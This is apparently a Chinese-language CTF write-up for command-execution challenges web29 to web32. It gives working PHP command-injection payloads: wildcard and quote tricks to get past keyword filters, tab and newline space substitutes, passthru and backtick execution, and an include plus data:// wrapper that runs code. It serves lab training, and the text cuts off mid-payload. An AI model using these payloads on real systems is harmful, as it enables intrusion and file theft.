CTF web入门之命令执行
web29 文件名过滤
由于flag被过滤,需要进行文件名绕过,有以下几种方法:
1.通配符绕过 fla?.*
2.反斜杠绕过 fl\ag.php
3.双引号绕过 fl’‘ag’'.php
还有特殊变量$1、内联执行等
此外 读取文件利用cat函数,输出利用system、passthru 、echo
echo `nl fl''ag.php`;
echo `cat fl''ag.php`;
system("cat fl*");
system("tail fla*");
passthru('cat fl?g.*');
**web30:**命令执行,需要严格的过滤
system不能使用,使用passthru、echo等 flag,php过滤继续用通配符绕过
passthru('cat fl?g.*');
echo `cat fl''ag.*`;
web31:
可以使用使用空格绕过(%09) 也可也使用&拼接使用eval函数可以使用POST和GET其实一样的
也可以使用反字节符号配合echo,执行的效果类似于system ,例如echo ls;
再利用tac加%20(空格)绕过空格和cat:(这里%20不行,可以用%09制表符)
.被过滤,则直接采用*,*表示多个字符,?表示一个字符
echo(`ls`);
?c=echo(`tac%09fla*`);
?c=passthru("tac%09fla*");
?c=passthru("more%09f*");
web32:
绕过思路:过滤了system,echo,这里可以使用passthru,但是这次还过滤了括号,所以passthru也没有办法用,这里使用文件包含,通过php://filter协议进行读取文件
无法使用分号,可以使用php中的?>进行绕过,空格用%0a绕过
1.使用include文件包含函数上传一句话木马
使用data伪协议,得到目录名
data伪协议: data://text/plain,php执行命令
?c=include%0a$_GET[1]?>&1=data://text/plain,<?php system('ls');?>
c=include%0a$_GET[1]?>
include:这是 PHP 里的一个语句,其作用是将指定文件的内容包含到当前文件中并执行
。
%0a:这是 URL 编码,代表换行符 \n。在构造恶意代码时,用换行符能让代码更符合 PHP 的语法规范。
$_GET[1]:$_GET 是 PHP 中的一个超全局数组,用于获取通过 GET 请求传递的参数。$_GET[1] 表示获取名为 1 的 GET 参数的值。
?>:这是 PHP 代码块的结束标记。
综合起来,c 参数的内容本质上是一段 PHP 代码,其功能是包含并执行通过 $_GET[1] 获取到的文件内容。
&1=data://text/plain,<?php system('ls');?>
&:在 URL 里,& 是用于分隔不同参数的符号。
1=:表示参数名为 1。
data://text/plain:这是 PHP 的伪协议,
data:// 允许你直接在 URL 中嵌入数据。
text/plain 表明数据的 MIME 类型为纯文本。
<?ph